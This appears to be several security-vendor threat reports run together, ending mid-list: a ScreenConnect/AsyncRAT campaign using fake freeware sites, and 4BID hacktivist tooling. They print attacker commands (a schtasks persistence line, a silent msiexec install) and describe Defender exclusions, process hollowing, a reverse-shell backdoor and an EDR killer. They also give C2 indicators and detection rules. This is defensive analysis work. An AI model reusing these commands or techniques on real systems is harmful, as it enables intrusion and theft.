Case study: How overly permissive GPO-based software distribution goes wrong

During multiple compromise assessment engagements, a high-impact misconfiguration was consistently observed: a Group Policy Object (GPO) was used to point to an executable in a shared folder and run it on every workstation via a scheduled task. The access control list (ACL) on the share was set to “Everyone – Full Control”.

Given that any authenticated domain user can write to the share, an attacker who compromises a single low-privilege account can replace the legitimate binary with a malicious payload. The next scheduled task run propagates the payload automatically to all endpoints that receive the GPO. This provides:

• Elevated execution context: the scheduled task typically runs under the SYSTEM or local administrator account.
• Automatic lateral movement: the malicious binary propagates without requiring additional network exploitation.
• Privilege escalation: a compromised low-privilege account can lead to domain administrator code execution.

Vulnerability management procedures that include systematic GPO and share permission audits would have flagged the writeable ACL as a high-severity finding, enabling remediation before exploitation. Remediation typically involves restricting the share permissions to “Authenticated Users” with read-only access and limiting modifications to certain privileged accounts. Incorporating these checks into the baseline security controls reduces the attack surface, demonstrating the tangible risk reduction achievable through disciplined vulnerability assessment and penetration testing (VAPT) practices.

Conclusion

In 2025, Kaspersky Compromise Assessment helped organizations reveal a persistent detection gap: 30.8% of all incidents and 52% of high-severity compromises had historical activity spanning over three months. Of all the incidents discovered, 20% were found manually, while 60% were missed by enterprises because of the absence of high-confidence alerts from existing tools. The oldest missed incident identified by the Kaspersky Compromise Assessment team in 2025 was four years old.

Post-incident checkups produced the highest percentage of high-severity findings, while regular proactive audits, compliance-driven audits, and audits performed before merging two networks tended to reveal issues earlier. This indicates that purely reactive investigations often miss hidden persistence. The top high-level recommendations for immediate improvement in 2025 for all projects were:

• Run a comprehensive detection engine health check within 30 days of project closure, prioritizing telemetry integrity and rule relevance.
• Introduce a Tier 1 alert validation team that reviews all low-confidence events on a defined schedule.
• Ensure robust 24/7 monitoring augmented with threat hunting capabilities focused on baselining, low-fidelity alerts, and emerging adversary techniques.
• Reevaluate the vulnerability management pipeline to ensure continuous patching and audit log activation across all critical assets.
• Update security awareness curricula to address credential leakage from personal devices and reinforce secure BYOD practices.
• Ensure periodic tabletop exercises are run to test technical playbooks and sharpen the team’s skills and communication workflows.
• Establish operational-level agreements to govern and facilitate communication between different teams and standard operating procedures used for proper documentation.

Addressing the root cause categories systematically will reduce the likelihood of future blind spots and improve the overall security posture of the engaged organizations.

UPD 03.07.2026: added a package of rules and recommendations that help detect the described malicious activity for companies using our Kaspersky SIEM system.

Introduction

To access compromised systems, threat actors frequently abuse legitimate remote monitoring tools. At first glance, these utilities rarely raise red flags: they are signed with valid digital certificates, often allowlisted under corporate IT policies, and fully supported by OS vendors. However, they grant attackers the ability to harvest data from target devices, drop malware, and move laterally across the network.

During a recent investigation engagement, the Kaspersky Managed Detection and Response (MDR) team discovered the ScreenConnect remote access tool being leveraged to deploy and execute an AsyncRAT payload.

A deep dive into this single incident unraveled a massive campaign distributing malicious installer archives hosted on spoofed websites. These installers masquerade as popular software like OBS Studio, DNS Jumper, DS4Windows, Bandicam, and others. In total, we uncovered more than 90 domain names localized across 10 languages. The malicious archives bundle a legitimate, signed Microsoft install.exe binary alongside a rogue install.res.1033.dll library. It is loaded onto the device via DLL sideloading and deploys the ScreenConnect service, which awaits further instructions from the threat actors.

As a result, what initially appeared to be an isolated ScreenConnect incident served as the starting point for a full investigation into the threat actor’s C2 infrastructure. Every spoofed site we uncovered followed the exact same playbook: dropping a hidden ScreenConnect remote administration service under the guise of a legitimate software installer. This allowed the attackers to maintain control over compromised endpoints, with victims ranging from individual users to organizations.

We continue to break down complex, multi-stage incidents like this in our ongoing The SOC Files series. In this post, we take a deep dive into the technical execution of the ScreenConnect attack and analyze the broader infrastructure under the threat actor’s control.

Initial incident investigation

The investigation was triggered by an alert from Kaspersky MDR, which flagged the creation and execution of suspicious PowerShell and VBS scripts spawned by a ScreenConnect process.

About ScreenConnect

ScreenConnect is a legitimate remote management utility. Kaspersky solutions detect it as not-a-virus:HEUR:RemoteAdmin.MSIL.ConnectWise.gen.

ScreenConnect was running as an Access-type service — enabling direct remote connectivity — with the server explicitly passed via the command line:

Once running, ScreenConnect created and executed a PowerShell script named Fj5NmEsp9EuKrun.ps1:

Below is an excerpt from the contents of the script:

This script configures Microsoft Defender exclusions for the following objects:

• All disks in the system: C:\, D:\, and others
• All root directories on the C:\ drive, as well as the C:\Users\Public directory
• RegAsm.exe process

Additionally, the script disables User Account Control (UAC) prompts by setting the ConsentPromptBehaviorAdmin registry parameter to 0.

Following this setup, the ScreenConnect service goes on to create a VBScript file:

The installer_method3_stream.vbs script creates five files in the C:\Users\Public directory (msgbox.txt, secret_bytes.txt, 1.vb, cap.ps1, and script.vbs) and immediately triggers their execution by launching script.vbs.

This script terminates all active powershell.exe processes to cover its tracks and executes cap.ps1 in a hidden window.

cap.ps1 reads the contents of the secret_bytes.txt file, extracts sequences matching the [SXX- pattern, and converts XX from hexadecimal representation to a byte. It then uses a 0xA7 XOR key to decrypt each byte and inverts the bit order. The resulting byte array yields a fully formed PE binary, which is then reflectively loaded into the CLR.

Within the loaded assembly, the ConsoleApp1.Module1 type contains a static method named Run. The script uses reflection (Reflection.BindingFlags) to resolve a reference to this method and invoke it.

The Run method executes a process hollowing technique (T1055.012), spawning a new RegAsm.exe process with the CREATE_SUSPENDED flag. The deobfuscated and decrypted PE image from secret_bytes.txt is then copied into its address space. As a result, the RegAsm.exe process no longer executes its original code, instead serving as a container for the injected .NET module — which, in this case, is the AsyncRAT remote access Trojan.

To establish persistence, the malware schedules a task named MasterPackager.Updater:

"schtasks" /Create /TN "MasterPackager.Updater" /TR "wscript.exe "C:\Users\Public\script.vbs" " /SC MINUTE /MO 2 /F

This task triggers every two minutes, ensuring that script.vbs — and consequently the entire loader chain — executes even after a system reboot.

Once the entire infection chain successfully executes, the RegAsm.exe process establishes a connection to the C2 domain mora1987[.]work[.]gd.

How ScreenConnect entered the system

A retrospective analysis of the incident allowed us to pinpoint the source of the ScreenConnect installation: a user-downloaded archive named obs-studio-windows-x64.zip.

The archive was downloaded from hxxps://www.studioobs[.]com/, a typosquatted domain mimicking the official site for OBS Studio, a popular open-source screen recording app. This site is present in search engine results; in this specific incident, the user landed on the malicious domain directly from a search query, a vector we analyze in more detail below.

Clicking the download button for the supposedly legitimate software triggers a request to the following URL, from which the archive is fetched:

hxxps://fileget.loseyourip[.]com/obs-studio-windows-full/gVOMs5VZ9BtlcaM

The archive contains a legitimate, Microsoft-signed executable named install.exe (87603EA025623B19954E460ADD532048), renamed to masquerade as the OBS Studio installer, along with a malicious library named install.res.1033.dll. Additionally, the archive includes an Assets folder containing both a copy of the actual software being impersonated and the ScreenConnect utility.

The complete file structure of the archive is organized as follows:

When OBS-Studio-Installer.exe is executed, it loads install.res.1033.dll via DLL sideloading. This library contains the instructions required to install both ScreenConnect and OBS Studio. The deployment relies on native Windows utilities (msiexec.exe), but the attackers renamed the standard MSI packages to look like DLL files:

• Assets\x86\Data\vcredist_x64.dll: ScreenConnect installer
• Assets\x86\Data\vcredist_x86.dll: OBS Studio installer

The contents of the vcredist_x64.dll MSI package are shown below:

The Windows Installer is launched to install ScreenConnect silently in the background without requiring a system reboot:

msiexec.exe /i "C:\Temp\OBS-Studio-Windows-x64\Assets\x86\vcredist_x64.dll" /qn /norestart

Once the installation wraps up, a new service named Microsoft Update Service is created. The command line for this service explicitly defines the connection server as r[.]servermanagemen[.]xyz.

Meanwhile, the MSI package for the actual OBS Studio software runs using a standard graphical user interface.

Expanding the investigation

The attackers’ reliance on the legitimate install.exe binary provided a crucial pivot point for our broader investigation. We discovered that this specific file was being deployed in the wild under a variety of suspicious aliases, including:

• ds4windows.exe
• crosshairx_installer.exe
• obs-studio-installer.exe
• dns jumper.exe
• glary utilities pro.exe
• processhacker-2.39-setup.exe

These file names indicate that the threat actor was disguising their ScreenConnect archives as popular utilities beyond OBS Studio. Among the fakes, we identified counterfeit installers for DS4Windows, DNS Jumper, Glary Utilities, and Process Hacker. Crucially, when we search for these utilities on major search engines, these fraudulent sites frequently appear at the very top of the organic search results. This indicates that the threat actor is actively leveraging SEO techniques to boost traffic to their landing pages.

Spoofed software portals appearing in search engine results

For example, here is how the fraudulent download portal for DNS Jumper looks:

On this page, the download button directs users to the following address:

hxxps://direct-download.giize[.]com/dns-jumper/iopbsr4hymbo7nfa1q7j

Just like the OBS Studio variant, this drops an archive onto the victim’s device with an identical structure: a renamed legitimate install.exe file, a sideloaded library, and an Assets directory containing the promised software packaged alongside ScreenConnect.

Other fraudulent websites that appear in search engine results when querying the corresponding software are designed in a similar fashion.

Spoofed websites used to distribute ScreenConnect

Notably, the vast majority of the fraudulent sites we uncovered are localized into English, Russian, and Chinese. In several instances, the pages were also translated into German, French, Spanish, Arabic, and other languages. This multi-language support underscores the global footprint of the campaign, targeting a broad user base across multiple regions.

Fake domain infrastructure

To distribute ScreenConnect disguised as freeware, the threat actor spun up an extensive network of domain names mapped across three IP addresses. We have categorized these into two distinct infrastructure clusters.

Cluster 1: 162.216.241[.]242 and 198.23.185[.]81

```
162.216.241[.]242
Country: United States
Org name: Dynu Systems Incorporated
```

The connection graph below illustrates the campaign websites tied to IP address 162.216.241[.]242, which hosts the previously mentioned www[.]studioobs[.]com domain.

Looking into the registration dates for the domains on this IP, we found that the threat actor initially attempted to disguise their sites as various gaming portals:

Subsequently, starting in January 2026, they shifted strategy and began registering fake domains designed to mimic popular freeware:

In this specific branch of the ScreenConnect campaign, the malicious archives are hosted on fileget.loseyourip[.]com. Notably, the download resource is hosted on a completely separate provider:

```
198.23.185[.]81
Country: United States
Org name: NOHAVPS LLC
```

Our analysis of this second IP address revealed that it also hosts additional resources tied to the campaign, including fake gaming sites and supplementary download links:

Cluster 2: 2.59.134[.]97

```
2.59.134[.]97
Country: Germany
Org name: dataforest GmbH
```

Below is an infrastructure graph showing this IP address and its hosted domains. Notably, unlike the previous case, this address also hosts direct-download.giize[.]com, a resource used to store distributed malicious archives.

In this branch of the campaign, the threat actor skipped game-themed lures entirely, focusing exclusively on creating fraudulent freeware sites that bundled ScreenConnect with the requested application. The domains hosted on IP address 2.59.134[.]97 were registered between October 2025 and March 2026.

The chart below shows the volume of fraudulent websites created month by month:

Breakdown of ScreenConnect delivery sites by theme, August 2025 through March 2026 (download)

C2 infrastructure analysis

In total, we identified dozens of different archives distributed across this campaign. All of them share a uniform file structure, containing the malicious install.res.1033.dll library and the ScreenConnect MSI package located at Assets\x86\vcredist_x64.dll.

In some instances, the ScreenConnect installation package also bundles a CAB archive.

This archive contains a system.config XML file, which defines the connection address for the ScreenConnect C2 server:

By analyzing these ScreenConnect installations, we uncovered additional C2 addresses, which are mapped out in the following graph:

The next graph illustrates the AsyncRAT command-and-control infrastructure:

Based on the registration dates of the C2 domains, we can determine that the campaign was launched in October 2025 and paused at the end of March. However, at the time of publication, many of the landing pages remain accessible via search engine results.

Takeaways

Investigating a single case of AsyncRAT delivered via ScreenConnect allowed us to uncover a massive, multi-domain, multi-language infrastructure designed to distribute a hidden installer for this software and further advance the attack. The threat actor disguises ScreenConnect as popular utilities and distributes it through fraudulent websites that mimic official product pages. The attackers leverage search engine optimization techniques to push these sites to the top of search results in engines like Google and Bing.

This attack chain targets both everyday consumers downloading free software from the internet and corporate networks, where remote access tools are frequently allowlisted and granted elevated privileges.

The potential objective of the campaign is to steal credentials en masse and gain unauthorized access to systems for subsequent resale on dark web marketplaces.

To mitigate the risks associated with this threat, we recommend implementing the following security measures:

• Enforce strict software installation controls: application allowlisting and blocking MSI package execution from untrusted sources
• Continuously monitor for the creation of new remote administration services and scheduler tasks
• Filter outbound traffic to unknown domains and IP addresses
• Regularly train users on safe downloading practices
• Verify the authenticity of all software sources

For enterprise users, credential monitoring is a critical mitigation strategy against the risks detailed in this article, as a leaked account or compromised system access frequently serves as a vector for subsequent attacks on the organization.  Kaspersky Digital Footprint Intelligence provides continuous data monitoring across open and dark web sources, enabling security teams to respond proactively to potential threats.

Detection by Kaspersky solutions

Kaspersky Managed Detection and Response detects the malicious activity described in this post using the following indicators of attack:

1. ScreenConnect service creation with suspicious parameters
   

   logsource:                      
       product: windows         
       category: security
   detection:
       selection_access:
           EventID: 4697
           Service File Name|contains:
               - 'e=Access'
               - 'ClientService.exe'
       selection_support:
           EventID: 4697
           Service File Name|contains:
               - 'e=Support'
               - 'ClientService.exe'
       condition: selection_access or selection_support

2. Anomalous child processes being spawned by the ScreenConnect service
   

   logsource:
       product: windows
       category: process_creation
   detection:
       selection:
           ParentImage|endswith:
               - '\\ScreenConnect.ClientService.exe'
               - '\\ScreenConnect.WindowsClient.exe'
               - '\\ScreenConnect.WindowsBackstageShell.exe'
               - '\\ScreenConnect.WindowsFileManager.exe'
           Image|endswith:
               - '\\powershell.exe'
               - '\\cmd.exe'
               - '\\net.exe'
               - '\\schtasks.exe'
               - '\\sc.exe'
               - '\\msiexec.exe'
               - '\\mshta.exe'
               - '\\rundll32.exe'
       condition: selection

Additionally, Kaspersky products detect the malware covered in this post under the following verdicts:

• Trojan.Win64.DLLhijack.*
• Trojan.VBS.Agent.*
• Trojan.PowerShell.Agent.bav
• Trojan.JS.SAgent.sb

Endpoint malicious activity can be monitored using Kaspersky EDR Expert. Specifically, security teams should look for the execution of commands and scripts containing suspicious patterns, such as XOR operations used for command and data obfuscation by malware operating on the host. This activity is flagged by the suspicious_assembly_loading_into_powershell_via_reflection_amsi and xored_powershell_command_amsi rules.

Additionally, persistence mechanisms involving the creation, modification, or utilization of scheduled tasks via the schtasks.exe utility are caught by the scheduled_task_create_from_public_directory_via_schtasks rule.

Malicious code injection into the RegAsm.exe process — leveraged by attackers to masquerade execution behind a trusted system component — is detected via the code_injection_to_unusual_process rule.

To visualize the stages of the attack, security teams can utilize Kaspersky Cloud Sandbox on the Threat Intelligence portal. For instance, this tool allows defenders to map out the entire deployment and payload execution chain originating from the initial VBS dropper.

Furthermore, the Kaspersky Threat Intelligence portal supports searching and graphing the connections between malicious domains and files involved in this campaign, as demonstrated in our adversary infrastructure analysis section.

Finally, the Similarity engine within Kaspersky Threat Analysis profiles file contents to hunt down samples resembling the original threat, helping organizations identify new or previously undetected malicious objects.

To protect companies using our Kaspersky SIEM system, there are rules available in the product repository to help detect this type of malicious activity.

• Adding exclusions to Windows Defender scans via the registry is detected by rule R241_Modification of Windows Defender exclusions through the registry. Adding exclusions via PowerShell (Add-MpPreference -ExclusionPath|ExclusionProcess) is detected by rule R076_04_Windows Defender settings disabled or changed via PowerShell.
• Bypassing the UAC mechanism by modifying the ConsentPromptBehaviorAdmin registry key is detected by rule R242_UAC disabled through the Windows registry.
• Running VBS scripts from a public directory triggers rule R290_07_Running VBScript files from shared folders.
• Creating a scheduled task that runs an executable file from a public directory triggers rule R099_01_Scheduled task started from a public folder.

For the rules to function correctly, it is necessary to configure event 4657 (Security) audit for the following registry keys:

• HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
• HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Procesess
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin

Additionally, when developing your own detection rules or conducting threat hunting for suspicious ScreenConnect behavior, we recommend monitoring the following events:

• Creation of the ScreenConnect service with suspicious parameters
  

  DeviceEventClassID = '4697' 
  AND FileName LIKE '%ClientService.exe%' 
  AND (FileName LIKE '%e=Access%' OR FileName LIKE '%e=Support%')

• Launch of atypical child processes from the ScreenConnect service
  

  DeviceEventClassID = '4688'
  AND match(SourceProcessName, '.*\\\\ScreenConnect\\.(ClientService|WindowsClient|WindowsBackstageShell|WindowsFileManager)\\.exe')
  AND match(DestinationProcessName, '.*\\\\(powershell|cmd|net|schtasks|sc|msiexec|mshta|rundll32)\\.exe')

Indicators of compromise

Loaders

B32810973132D11AFD61CCEE222BBB79
5B7E1FE55BD7B5EA54BD4ED1677E5A26
9A9CCD8B0E5D05F4EE77667B024844DB
0EEE9BAD07E22415439E854657FA1366
8F4E8B680D3E8D3F5AC39BD72882F713

Malicious library: install.res.1033.dll

5F96C04E3AFAE97017B201BE112284D2
73BEAD922109A61E5F9F85771A7812C5
EDFF4F58722C93D7C09ED71899416396
83601C3D4ED28E8D2BE1B99BEB8EC18C
695E794631EF130583368770E7B81E98
83601C3D4ED28E8D2BE1B99BEB8EC18C
1E6A5C7B620D487D0CFC6874C3B77C90
54025CE2A9405039899FE99A1D77E0BB
BD05FCF80E493CF9AA71EC510319469D
999A63730C9634481D1D76955A2E76A8
479BD3BB617B39CD4A46D0768A2592D4
776DFD3DF9C04BB9FCDD6C1880C3761A
8E4C57358A66EB14D31ABB614DDC68DE
A40D3AEB0DAE5B00BDB3A517F3135BBB
A85A5BFDCB7C65AB93043B8CF9E20065
01325880EFFFEC546F59490089A3B415

AsyncRAT C2

mora1987[.]work[.]gd

Fake websites addresses

ds4windows[.]io
direct-download[.]giize[.]com
tmodloader[.]org
tmodloader[.]app
ds4windows[.]net
losslessscaling[.]app
processhacker[.]dev
steamtools[.]pro
dnsjumper[.]app
free-download[.]camdvr[.]org
defendercontrol[.]org
dns-jumper[.]com
cpuz[.]app
processhacker[.]org
processhacker[.]app
steamtools[.]cc
cpuz[.]pro
wallpaper-engine[.]app
processhacker[.]net
antimicrox[.]net
defendercontrol[.]app
tmodloader[.]pro
dnsjumper[.]io
bandicam[.]app
mgba[.]app
dnsjumper[.]pro
ferdium[.]app
ds4windows[.]pro
lossless-scaling[.]online
defender-control[.]com
gom-player[.]app
defendercontrol[.]pro
lossless-scaling[.]download
antimicrox[.]pro
mgba[.]pro
lossless-scaling[.]app
losslessscaling[.]pro
mgba[.]dev
tmodloader[.]download
tmod-loader[.]com
defendercontrol[.]download
ferdium[.]pro
deadreset[.]com
gom-player[.]net
crosshairx[.]pro
libreoffice[.]pro
studioobs[.]com
studio-obs[.]net
crosshairxv2[.]com
km-player[.]com
corel-draw[.]net
glary-utilities[.]com
download-full-version[.]ooguy[.]com
crosshair-x[.]com
kms-tools[.]com
studio-obs[.]com
crosshairx[.]net
clair-obscur-33[.]com
vlc-player[.]net
arksurvival-ascended[.]com
elden-ringnightreign[.]com
ready-ornot[.]com
arma-reforger[.]com
crusader-kings[.]com
crosshairx2[.]com
mediaplayerclassic[.]net
bandizip[.]pro
obs-studio[.]site
ovr-advanced-settings[.]com
studio-obs[.]pro
vlc-media[.]com
clair-obscur-33[.]town
ovr-toolkit[.]com
crusader-kings[.]church
bandizip[.]net
apexlegends[.]org
obs-studio[.]pro
vlc-media[.]net
crosshairx[.]site
monster-hunterwilds[.]com
km-player[.]pro
mediaplayerclassic[.]pro
kms-tools[.]net
fernbus-simulator[.]com
studioobs[.]pro
bandicam[.]cc
crystaldiskmark[.]cc
crystaldiskmark[.]io
crystaldiskmark[.]dev
crystaldiskmark[.]app
crystaldiskmark[.]pro
bandicam[.]io

Fake domain infrastructure

fileget.loseyourip[.]com
file-download-crosshairx.giize[.]com
all-toll-free.loseyourip[.]com
mpc-update.giize[.]com
all-toll-free.publicvm[.]com
198.23.185[.]81
direct-download.giize[.]com

ScreenConnect C2

servermanagemen[.]xyz
185.254.97[.]249
r.manage-server[.]xyz
45.145.41[.]205
winservec[.]net
manageserver[.]xyz
cloudsynn[.]com
pingserv[.]pro
ehostservers[.]xyz
serverdnsplan[.]net
pingpanl[.]pro
managedevice[.]xyz
edgeserv[.]ru

While tracking the activities of 4BID we uncovered a new string of campaigns that appear to be the work of several interconnected actors. While politically motivated groups generally limit their scope to specific nations – for 4BID and its peers, primarily Russian and occasionally Belarusian organizations – our latest findings reveal a shift. The actual geographic footprint of these attacks became broader than expected, striking companies across Kazakhstan, the UAE, Syria, and Egypt.

What triggered our investigation was spotting a cluster of indicators of compromise within a breached Russian organization’s infrastructure. We used these footprints to successfully track down other environments hit by the same threat actors and piece together the bigger picture.

This article dives into the software deployed throughout these hacktivist campaigns:

• New ransomware samples
• Scripts used at various stages of the attacks
• Commercially available IT remote monitoring and management (RMM) tools

These include both updated versions of known threat-actor tools and previously unseen software.

Overlapping activity streams

Within the initial organization’s infrastructure, we found numerous activity indicators linked to several interconnected hacktivist groups – which ultimately set the direction for our follow-up analysis. We can attribute the following findings to hacktivist activity with a medium level of confidence:

• Several samples of BlackReaperRAT, which we attribute to the 4BID group, were found alongside scripts designed to download Panorama9 RMM, AnyDesk, and Dev Tunnels.
• Besides the artifacts listed above, we discovered ClearWater ransomware in other compromised infrastructures. Interestingly, during this same window, public sources showed Hakerskii Kit claiming a successful attack on a Russian factory. Also detected in that facility’s infrastructure was ClearWater ransomware, with the attackers publicly thanking the С.A.S. group for their contribution.
• We uncovered several samples of Warp RAT within the hit infrastructures, which we link to the Goffee threat group. A detailed report on this specific activity will be published at a later date.

Technical details

Vulnerable web servers and fd.aspx

Analysis of the compromised environments revealed that the attackers gained initial access in most cases by exploiting the ProxyShell vulnerability in Microsoft Exchange, which allows for full server compromise.

Once inside, the attackers deployed the fd.aspx web shell – a modular ASP.NET file designed for remote control, file transfers, and system reconnaissance. Communication with the web shell relied on a basic security check: if the key parameter in an incoming request failed to match the AUTH_KEY constant, fd.aspx simply returned “Access Denied”.

If the verification was successful, the command contained in the request’s scriptText parameter was passed directly to PowerShell, and the output returned to the operator in the body of the HTTP response. In environments where PowerShell execution was restricted, the web shell swapped it out for cmd.exe. The CreateNoWindow: true and UseShellExecute: false flags were used to keep the command execution hidden from the user.

Beyond running commands, the web shell features bidirectional Base64-encoded file transfers. This allows any binary data – like executables, archives, or certificates – to be passed right inside the body of an HTTP request. The UploadFile function writes files to any directory the web server process can access, which makes it easy to drop additional shells or swap out legitimate files. The DownloadFile function exfiltrates any accessible file from the compromised system back to the attackers’ C2 server.

The web shell also includes a system reconnaissance feature that grabs the following data points:

• OSVersion: operating system version
• MachineName: hostname
• UserName: current username
• UserDomainName: domain name
• ProcessorCount: number of processors
• SystemDirectory: system directory path
• CurrentDirectory: current working directory
• Version: .NET Framework version

Additionally, the reconnaissance feature uses the DriveInfo.GetDrives() function to enumerate running processes and map out connected drives – along with the amount of free space available on each. This file system reconnaissance is topped off with LastWriteTime metadata for each object, which helps the operator quickly spot recently modified files and get their bearings within the storage layout.

Alongside the web shells, we encountered a variety of scripts and C2 frameworks across all compromised infrastructures, which we break down below.

Scripts deployed

Once the attackers gained control over a target system, they moved on to the next phase: loading their required toolkit via custom scripts. Variations of these scripts were consistently found alongside fd.aspx on compromised hosts. Most of them interact with legitimate tools, which makes them look almost identical to routine administrative scripts at first glance. The only real giveaway is the code comments, written in Ukrainian. One such script is responsible for deploying AnyDesk on the compromised host.

The build quality of these scripts is worth discussing separately. Several of them show telltale signs of AI generation; inside some compromised systems, we found multiple iterations of the exact same script, a few of which were completely broken. AI-generated code typically fails to work out of the box and requires manual tweaking to run properly.

First, the script checks for admin privileges, as it cannot proceed without them. If that check passes, it looks for an active anydesk.exe process. If the process is missing, the script fetches and installs the application directly from the official website. Once AnyDesk is successfully installed, the script configures an unattended access password and pulls the unique AnyDesk ID. All the collected details are compiled into a report and exfiltrated to the attackers’ server at 185.221.153[.]121. Because we spotted simultaneous activity from multiple groups – 4BID, Hakerskii Kit, and C.A.S. – on the analyzed hosts, this IP address could potentially belong to any one of them.

Besides AnyDesk, the threat actors leverage other legitimate tools. One example is Microsoft Dev Tunnels, a Microsoft service that exposes a local server to the internet. It’s brought into the system by a separate script that, much like the one for AnyDesk, checks if the utility is already present before downloading it from the official site. In certain instances, the utility was fetched directly from the attackers’ server instead:

Once installed, the application runs, and the resulting connection details are saved to a file named login.txt. The contents of this file consist of standard instructions for using a provided code to authenticate on a Microsoft page through a web browser.

To sign in, use a web browser to open https://login.microsoft.com/device and enter the code [CODE].

As a final step, the script opens up the required ports and creates the tunnel, giving the attackers a back door into the compromised host.

Another script we uncovered handles the installation of Panorama9, a legitimate remote monitoring and management utility. Immediately after downloading that application, the attackers configure it via the registry to hide both its system tray icon and its installation folder. To camouflage the Panorama9 services, the attackers rename them to Windows Update Helper and Windows Update Helper Cache and swap out their descriptions, making the utility look almost identical to standard system components. Once the utility finishes its job, the script clears its tracks.

The attackers used a dedicated script to establish persistence on the system. When executed, it used the net user command to spin up a local user account and then hid it via the registry. The script added this new user to every available local group; if the machine was domain-joined, it also attempted to inject the user into all Active Directory groups.

At the same time, the script tweaked RDP settings: it set the minimum encryption level through the registry, added a firewall rule to allow port 3389, and ran the relevant services.

After it wrapped up its main tasks, the script wiped the event logs, command history, temporary files, and finally itself. Once the attackers got what they wanted out of the infected host, they triggered another script that removed the previously created user account, cleaned out the registry keys generated during the earlier phases, and then deleted itself as well.

The scripts described here are just the most telling examples out of dozens of samples we found. An analysis of the attackers’ toolkit reveals a clear trend: they aren’t just fine-tuning the solutions they’ve used in the past (specifically, the AnyDesk deployment script), but are actively broadening their arsenal with new tools like Panorama9, Dev Tunnels, and others.

Publicly available utilities

As previously mentioned, the attackers leverage a broad spectrum of dual-use public software, such as all kinds of remote monitoring and management utilities. While they use the scripts discussed above to drop some of the utilities onto systems, we didn’t encounter scripts for others, so we can’t confirm whether any exist. We observed the following tools deployed across the campaigns in question:

• AnyDesk: a remote administration tool
• Advanced IP Scanner: a network scanning utility
• Dev Tunnels: a Microsoft service used for exposing a server to the internet
• Panorama9: an IT infrastructure management and monitoring service
• Nezha Monitoring: a server status monitoring utility
• Tactical RMM: a remote monitoring and management tool

C2 and communications

To gain a foothold in the victim’s infrastructure, the attackers relied on several post-exploitation frameworks. Some of these are publicly available utilities, while others are custom-built.

Among the publicly available tools in the group’s arsenal are:

• Sliver
• Havoc
• Apollo Mythic
• Adaptix

We also discovered a previously undocumented backdoor, dubbed BlackSalt, which contacts the C2 server to fetch commands and executes them via cmd.exe.

Sliver

On several hosts, following the initial Microsoft Exchange server compromise, files named upd.exe, winhost.exe, update1.exe, update.exe, and akolo.exe were dropped alongside the previously mentioned fd.aspx files and scripts. All of them were located in the C:\Windows\System32\inetsrv\ directory and were configured as SFX archives with nearly identical payloads, which ran an install.bat script upon extraction.

The script copies the malicious components into the Windows folder and installs servicechecker.bat as a system service. To do this, it leverages the legitimate Windows Service Wrapper (WinSW) utility included in the archive under the filename backupsrv.exe. The archive also contains the WinSW configuration file, backupsrv.xml, which specifies exactly which script should be registered as a service. Once installed, servicechecker.bat is configured to run automatically on system boot.

The servicechecker.bat script, in turn, runs backupagnt.exe, a loader for the main malicious component housed in WindowsInternal.UpdateComponent.dll. This file was built with the help of the Donut utility and is encrypted with a simple single-byte XOR key (0x0F). Its primary job is to inject the Sliver code straight into the device’s memory.

All Sliver instances uncovered during this investigation were configured to communicate with the C2 server at 185.221.153[.]121 over mTLS.

Havoc

Inside a similar SFX archive located in the user directory $user\desktop\ under the filename demon.x64.exe, we found another post-exploitation framework: Havoc. This instance was configured to communicate with the C2 server at 77.72.85[.]62.

Apollo

Mythic Apollo is a cross-platform post-exploitation agent used within the Mythic framework to manage compromised systems. It provides a persistent connection to the C2 server, executes operator commands, handles file uploads/downloads, runs arbitrary code, and supports expansion via plugins. We previously provided a detailed breakdown of the Mythic framework in our post, Hunting for Mythic in Network Traffic.

Here is an example of the Mythic Apollo configuration we encountered in these hacktivist attacks:

This specific sample of the .NET Mythic Apollo agent was compiled with an extensive suite of modules and supports multiple transport profiles that enable communication via HTTP, TCP, WebSocket, SMB, named pipes, and web shells. The C2 address 77.72.85[.]62 is hardcoded into its configuration.

Adaptix

AdaptixC2 is another post-exploitation framework in the attackers’ arsenal. This is a relatively new open-source project, which we broke down in our post, Adapt or pay:an analysis of the AdaptixC2 framework.

The agent samples discovered during our investigation into these hacktivist campaigns consist of a packed AdaptixC2 Beacon delivered via a custom x64 loader. Upon execution, the payload decrypts an embedded shellcode, allocates memory, and executes the malicious payload using the CreateThread WinAPI function. Packed inside the shellcode is the AdaptixC2 Beacon agent in DLL format, featuring a configuration encrypted using RC4.

According to the AdaptixC2 classification system, this agent falls under the BEACON_HTTP type. It is capable of executing commands, performing file operations, enumerating and killing processes, launching new programs, and exfiltrating data back to the C2. It also supports SOCKS port forwarding and BOF modules.

AdaptixC2 uses encryption to keep its configuration under wraps. The corresponding block contains the data size, the actual RC4-encrypted configuration, and a 16-byte key.

BlackSalt Backdoor

During the investigation, we also came across target infrastructures running vulnerable versions of Microsoft Exchange where – much like the Sliver cases – SFX archives named WindowsServiceHelper.exe were discovered in the C:\Windows\System32\inetsrv\ directory. Once extracted, the archive executed an install.bat file.

Similar to the other archives of this type, the script uses the WinSW utility to install the malicious components. In this specific case, however, the primary payload is a file named svc.exe, which turns out to be an obfuscated backdoor written in VBS. Much like the deployment scripts used for the remote management utilities, the code of this setup BAT script was clearly put together with AI tools and features comments in Ukrainian.

The backdoor is essentially a textbook reverse shell. Its capabilities boil down to fetching commands from the C2 server at 45.150.109[.]2, executing them via cmd.exe, and piping the output back to the C2.

EDR killers

In their attacks, the threat actors deploy what are known as EDR killers: malicious tools designed to disable security software on the system. In the vast majority of cases, these utilities rely on the BYOVD technique.

On the hosts compromised during these hacktivist operations, we discovered samples named kil.exe and Killer.exe. These are modified versions of the public, Rust-based BYOVD project EDRKiller. The attackers streamlined the utility to act strictly as a client for the driver and expanded the hardcoded list of security processes to terminate. The sample targets the vulnerable Warsaw_PM driver, though it lacks the functionality to load the driver itself – the attackers drop it onto the system separately.

The general workflow plays out as follows:

1. In user mode, the program finds the PID of the target process.
2. It opens a handle to \\.\Warsaw_PM.
3. It constructs a buffer containing the target process’s PID.
4. It calls DeviceIoControl.
5. The driver executes the calls:
   • ZwOpenProcess;
   • ZwTerminateProcess.

The EDR killer continuously enumerates processes, repeatedly sending the IOCTL and terminating the target processes every single time they pop up.

Both kil.exe and Killer.exe share the exact same list of processes targeted for termination:

